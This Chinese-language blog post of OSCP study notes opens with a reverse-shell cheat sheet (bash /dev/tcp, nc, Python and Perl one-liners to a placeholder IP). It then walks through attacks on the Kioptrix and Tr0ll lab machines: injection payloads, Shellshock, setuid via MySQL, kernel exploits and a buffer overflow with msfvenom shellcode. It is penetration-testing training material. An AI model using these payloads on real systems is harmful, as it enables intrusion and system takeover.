OSCP基础篇
基本更新完了,除了Troll2的提权部分🤣
第一课: 反弹shell + 工具
bash
无交互(反向)
监听机:nc -nlvp [监听端口号] / 或者MSF multi handler
目标机:bash -i >& /dev/tcp/[ip]/[监听机端口号] >&1
或者 bash -i >& /dev/tcp/[ip]/[监听机端口号] 0>&1
或者
nc -e /bin/bash [ip] [监听机端口号]
(正向弹shell)
监听机:nc [ip] [端口] / 或者MSF multi handler
目标机:nc -lvp [端口] -e /bin/bash
python反弹shell
有交互
监听机:nc -nlvp [监听端口号] / 或者MSF multi handler
目标机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ip]",[监听端口号]]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
perl反弹shell
监听机:nc -nlvp [监听端口号] / 或者MSF multi handler
目标机:perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"IP地址:端口号");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
或者
perl -e 'use Socket;$i="ip地址";$p=端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
TTY shell
有交互
监听机:MSF multi handler控制台
有时得到的shell并不是tty shell(非全交互)
目标机:python -c 'import pty; pty.spawn("/bin/sh");'
或者 /bin/sh -i
或者python -c 'import pty; pty.spawn("/bin/bash");'
netdiscover
网络发现工具,netdiscover -i [网卡]
nmap
扫描器
nikto
开源的web程序漏洞扫描器
dirb
枚举web目录
msfcosole
不用多说了这个
burp suite
更不用说了,网站渗透必备神器
搜索文件内容命令
find / -maxdepth [最大目录搜索深度] -name [文件名] -type f -exec grep -Hn [搜索关键字] {} \; 2>/dev/null
第二课 & 第三课
下载并VM上安装Kali和Vulnerable Lab(这都不会还考个鸡儿OSCP。搞技术也就图一乐,赶紧的找个电子厂上班)
第四课:Kioptrix Level 1 - Enumeration and Exploitation:SMB利用
首先来到Kali,运行net discover -i [网卡设备]
进行网络发现
再使用nmap -p- -A [IP地址]
进行主机扫描,得到结果:在这个靶机中,位于139端口的samba是利用点
msfconsole
来到MSF,search scanner/smb
找到扫描器,扫描主机,得到SMB的版本,搜索可知该版本存在远程命令执行漏洞
下载该源码,gcc [源码文件] -o [输出文件]
命令进行编译,得到一个文件,执行得到如下提示,执行命令后得到靶机的shell
执行/bin/bash -i
得到交互式TTY shell
第五课:Kioptrix Level 2 - Enumeration and Exploitation:简单SQL注射 + 命令注射 + OS提权
(使用update-alternatives --config java
命令调整java版本)
SQL注射
首先进行网络发现,再扫描,得到结果:再这个靶机中,有个80端口开了,就是个SQL,以前的实战讲过的(生产环境:会员卡系统SQL注射),php判断SQL注射单引号双引号不行就引入逻辑运算,不详细讲了
进去之后是个ping主机的界面
命令注射getshell
作为黑客,肯定是不能有局限思维的;既然看到ping,那肯定要试试命令注射
根据第一节课的知识拿shell:bash -i >& /dev/tcp/[ip]/[监听机端口号] 0>&1
提权
拿到shell之后,提权,uname -a
查看内核版本,lsb_release -a
查看发行版,可以得到靶机的操作系统是CentOS 4.5, 内核版本是2.6.9,一通搜索发现有提权漏洞,下载利用代码1和下载利用代码2并保存成.c
文件
现在把源码文件放到kali的web目录下并启动apache2
回到刚才拿到的靶机shell,先切换到tmp目录,再执行wget
命令把源码文件从kali上下载到靶机,gcc
命令编译,chmod +x
命令赋予编译后的文件执行权限,最后执行,一个不行就另一个,最后root权限到手
第六课:Kioptrix Level 3 - Enumeration and Exploitation:dirb使用 + LotusCMS漏洞利用 + SQL注射 + OS提权
首先用netdiscover
发现主机,再用nmap
扫描主机,发现只有22和80端口是打开的,22端口暂无利用漏洞,就看web服务有什么利用点
来到这个界面,通过观察和大致浏览可以得出这个是个LotusCMS 3.0
RCE - 远程命令执行
通过搜索可以知道这个版本存在远程命令执行,POST方式提交payload:page=index');${php代码};#
MSF漏洞利用失败,原因是没有足够的权限写入到当前目录
SQL注射
在gallery这个地方发现SQL注射,这次经历再次告诉我们,功能要一个个点,有注射就SQLMAP一下,得到用户名和密码
从前面的信息可以得知整个web目录只能是root可写,现在得到了2个开发账户,尝试ssh,可登录成功
提权
ls -la
命令能看到有个CompanyPolicy.README
文件,阅读后得知可以可以使用sudo ht
命令进行编辑、创建和查看文件并且ht文件是具备suid权限的。这里一开始执行ht会有个“Error opening terminal: xterm-256color.”报错,需要在.profile文件里添加一行“export TERM=xterm”,命令echo "export TERM=xterm" >> .profile
,然后重启terminal
ht编辑器编辑sudoer文件根本不好用,编辑不了文件,搞不好这个原本就是个GUI工具
使用linux exploit suggester
发现dirtycow
提权漏洞,搜索之发现有2个提权可用。果断使用最新版本dirtycow 2
,上传源码到/tmp
目录,按exp的编译指引使用gcc进行编译,执行
执行后得到新的账户firefart
,登陆新的账户,可见已得到root权限
第七课:Kioptrix Level 4 - Enumeration and Exploitation:dirb信息收集 + SQL注射 + MySQL提权
首先用netdiscover
发现主机,再用nmap
扫描主机,发现22、80端、139、445口是打开的,22端口和139暂无利用漏洞
信息泄漏
尝试使用enum4linux
枚举关键信息无果,dirb
发现有敏感目录
SQL注射
先访问web,看到有登陆页面,john
目录有浏览,john.php
跳转到登录页,判断有登陆,登录页尝试SQL注射,根据提示调整用户名后继续进行SQL注射,最后得到密码
MySQL提权
根据在web界面得到的密码进行ssh登陆,登陆成功,可以看到能执行的命令有限制
这里能看到有echo命令,用echo os.system('/bin/bash')
绕过限制,得到一个交互式shell
稍微看了下没什么信息,于是使用搜索文件内容命令进行搜索,发现MySQL空口令
ps
命令查看MySQL运行权限,发现以root权限运行,select * from mysql.func;
命令查看能执行系统命令,遂将/bin/sh
复制到/tmp
下并赋予该shell执行时具有root权限(MySQL命令:select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh');
)
提权成功
第八课:Kioptrix Level 5 - Enumeration and Exploitation:CMS漏洞(目录遍历+命令执行+文件操作)+ OS提权
研究了一段时间才拿到root权限,难点在于反弹shell
首先还是发现主机+扫描:FreeBSD + Apache,只有80和8080端口运行http服务,只能从web下手
8080端口从nmap的扫描结果可得直接访问会得到403状态码:禁止访问
Web程序的突破
首先肯定是浏览器访问,80端口有显示内容,8080端口显示无权(扫描器已经给出了)
因为只能从web程序下手,先查看源代码,发现一个链接被注释了,复制访问,发现web程序是pChart2.1.3
搜索引擎一通搜索发现这个版本的程序有任意文件读取漏洞
利用之,读取/etc/passwd
和Apache配置文件(自行搜索不同OS下的Apache配置文件路径),发现8080端口对HTTP请求中的User-Agent
有要求
果断打开BurpSuite并开启HTTP头字段自动替换并访问,得到以下目录和页面
再次搜索引擎一通搜索,发现这个web程序存在RCE和任意文件写入漏洞
远程命令执行成功
反弹shell(这才是难点,各种尝试研究花了一段时间)
既然能执行命令,肯定要反弹shell,能执行命令但是都反弹不回一个shell,这就尴尬了
然后又仔细研究了一下,可以通过管道符获得命令执行的回显,这里执行pwd
命令就在监听上得到了当前路径,但是利用价值不大,因为还是没拿到反弹shell
那就先用任意文件写入漏洞先写入一个webshell,执行phpinfo();
【这里都试过了,各种反弹shell的命令都不行,就是没法反弹拿到一个shell】
用中国蚁剑连接这个webshell(需要设置HTTP头的User-Agent
,要不然403),看看有什么东西可以利用的,aslistcmd
看看上面能跑什么shell【这里面也试过了,博主能想到的反弹shell命令都试过了,没一个行的,真让人头大】
上传一个php的meterpreter shell,成功,一番尝试后,作用不大
突然想起来以前博主自己写过2个perl的反弹shell脚本(一个是/bin/bash,一个是/bin/sh,上面用webshell查看了目标机器支持的只有/bin/sh),试一试,成功拿到交互shell,权限是80(www)
提权
搜索引擎搜素发现FreeBSD9.0存在本地提权漏洞,思路:上传源码+编译+执行,最后拿到root权限
蚁剑上传源码到/tmp目录下
回到刚才拿到的shell,切换到/tmp目录下,gcc编译后执行,成功得到root权限
第九课:Tr0ll1 - Enumeration and Exploitation:ftp匿名登陆 + web服务器信息泄漏 + ssh爆破 + 本地提权
首先还是发现主机+扫描:Ubuntu主机,FTP匿名登陆,ssh,HTTP服务
web访问就一图片,源码也没什么东西
FTP匿名登陆
扫描器显示ftp存在匿名登陆【用户密码都是anonymous】,登陆之,查看有个文件,先下载回来看看是个什么东西
cat命令查看了一下,带乱码;一通搜索后发现是个网络数据抓包保存后的文件
tcpdump -nnnnttAr [文件名] | less -Sr
命令查看数据包,发现21端口的通讯数据包,易得ftp传输数据为明文可以直接阅读,遂一行一行阅读,过程中发现传输了一个名为secret_stuff.txt
的文件,逐个跟踪后发现给文件的内容出现在数据包中,翻译过来是“超级神秘的目录哈哈哈”
ftp转到http
既然是超级神秘的目录,ftp里面也没看见这个目录,那就先转到web看看有什么东西;这是个目录,里面有个文件,下载回来看看是什么东西
cat
命令查看包含乱码,遂用file
命令查看,是个可执行文件;仔细观察能发现,这里面有一明文Find address 0x0856BF to proceed
,推测是另一web目录,执行之后输出结果是一样的
拼接URL访问,发现有2个目录,点进去后发现各有一个txt文件,貌似放着用户名和密码
ssh爆破
保存了用户和密码列表之后呢,就开始用hydra
爆破ssh了,这一看就不好玩了,没一个能进去的,最后还拒绝链接,有点百思不得其解
趁着这段时间,博主稍微换了个思路,会不会这个玩意把文件名当密码了?于是就试了一下,密码是“Pass.txt”,这种情况也是很无语了🙃
提权
ssh登陆之,uname -a
和lsb_release -a
命令查看系统内核和版本号,搜索引擎一通搜索发现有提权漏洞
源码保存到kali的web目录,目标机上使用wget
命令下载文件到/tmp
目录,gcc编译源码,执行,成功取得root权限
第十课:Tr0ll2 - Enumeration and Exploitation:
首先还是发现主机+扫描:Ubuntu1.4/Debian5,只开放了ftp,ssh和web服务,一眼看上去没什么利用点
先看看web,是个图片,源码显示了作者的名字,想想可能是用户名密码相关的线索
ftp & ssh
试试ssh和ftp:ftp通过用户名密码“Tr0ll”进去了,发现一个文件,下载回本地;ssh用同样的用户名和密码登陆成功不过秒退。压缩文件密码尝试无效
dirb扫描web目录,找到robots目录和文件(内容都是一样的)
一个个目录试,遇到网页就查看源码(404的就不放出来了)【可以把这个robots.txt的内容复制下来,用BP或者dirb自动测试得出结果会更快】,最终得到4张图
藏在图片里的线索
一番思索之后,线索应该在图片里面,下载后查看文件信息发现一个文件的大小有点不一样,strings
命令查看有什么不同,查看后能发现最后一行是个目录名
web目录访问一下,是个巨大的txt文件,里面可能是zip文件的密码,保存之
看了一眼应该是base64编码,base64 --decode [输入文件名] | sort | uniq > [输出文件名]
命令解码看看是什么东西
fcreakzip暴力破解zip密码
既然已经有了解码后的文件和未知密码的压缩包,尝试使用命令fcreakzip -u -D -p [密码字典文件] [zip压缩包]
暴力破解压缩包密码。最后得到密码并解压,得到一个noob
文件
ssh登陆 + 命令执行
通过file [文件名]
可以得知这是一个PEM PSA私钥文件,应该是用于ssh登陆的私钥。前面博主尝试了用户名Troll。这次根据文件名猜测用户名是noob,尝试结果如下:输出一段文字之后ssh连接就关闭了
使用ssh命令的-vv选项后能看见调试信息;这里发现在输出文字之前,有个Remote: Froced Command
,搜索一通后发现这可能是个利用点
利用EXP/POC:ssh user@host '() { :;}; echo 恶意代码'
,验证一下,的确执行了echo命令
利用命令执行漏洞获取了一个交互式shell,权限为noob(1002)
二进制题目??
进去后一通查看,发现一个nothing_to_see_here
目录,这个目录下有一个choose_wisely
目录;这下面还有3个目录:door1
,door2
,door3
;这3个目录下都有一个叫r00t
的可执行文件,一个个试,有一个是运行完就断开会话,一个是限制使用ls命令2分钟,最后的是存溢出的程序(用于提权的)
这里先用MSF的pattern_create
模块先搞个1000长度的字符串,然后传入到存在漏洞的文件的参数里,发现有错误提示,应该是程序崩了
gdb调试
gdb [文件]
进行调试程序,执行完后,输入r [要传入的参数]
,这里要传入的参数是上一步用MSF模块生成的1000长度的字符串;执行完程序后发现有个有个输出Segmentation fault(分段故障,内存空间分配出来就是一段段的,那就是内存溢出了)
,还有一个类似于内存地址的0x6a413969
找到pattern_offset
模块,把得到的类似于内存地址的东西传过去,得到准确的偏移是268,想办法控制ESP就能控制程序流程
通过命令r $(python -c 'print "A"*268 + "b"*4')
传入268个A再加4个B的参数,出来的返回地址就是0x424242
,刚好就是B的编码,也就是EBP被覆盖了,由此可以判定可以通过溢出来取得root权限
quit
退出当前gdb调试,再使用env - gdb [要调试的文件]
进入调试模式,show env
命令查看环境变量,最后用unset env [变量名]
清除指定变量,这里2个变量都要清除
用命令r $(python -c 'print "A"*268 + "B"*4 + "\x90"*16 + "C"*100')
传入参数,得到内存崩溃的结果,命令info registers
查看内存堆栈情况;这里能看到EBP,EBP是在函数调用结束后的程序返回地址(也就是上一个内存栈帧的顶,当前内存栈帧的底),只要控制了返回地址就可以执行任意shellcode,这里能看见EBP的值是
先用msfvenom
生成shellcode:msfvenom --platform linux -p linux/x86/exec -f py CMD="/bin/sh" -b '\x00\x0a\x0d' -a x86 -e x86/shikata_ga_nai
再把这个shellcode处理一下,变成一行
最后的带shellcode的传入参数是:"A"*268 + [ESP地址,反转的] + "\0x90"*16 + shellcode
;这里为什么要把ESP地址反转,因为调试器给出的是内存的数值数据,而真实内存数据在寄存器里是反过来的(博主对这个了解得不太多)
提权
这个部分,博主试过很多次了,就是不行,暂时放下了,尽力了🤣
因为按照上面的操作之后,shellcode应该是能执行并且返回一个root权限的shell,但实际结果就是提示无效参数,中间的覆盖地址也通过调试器的提示改过很多次了
第十一课:
后面的全是防御课程了😅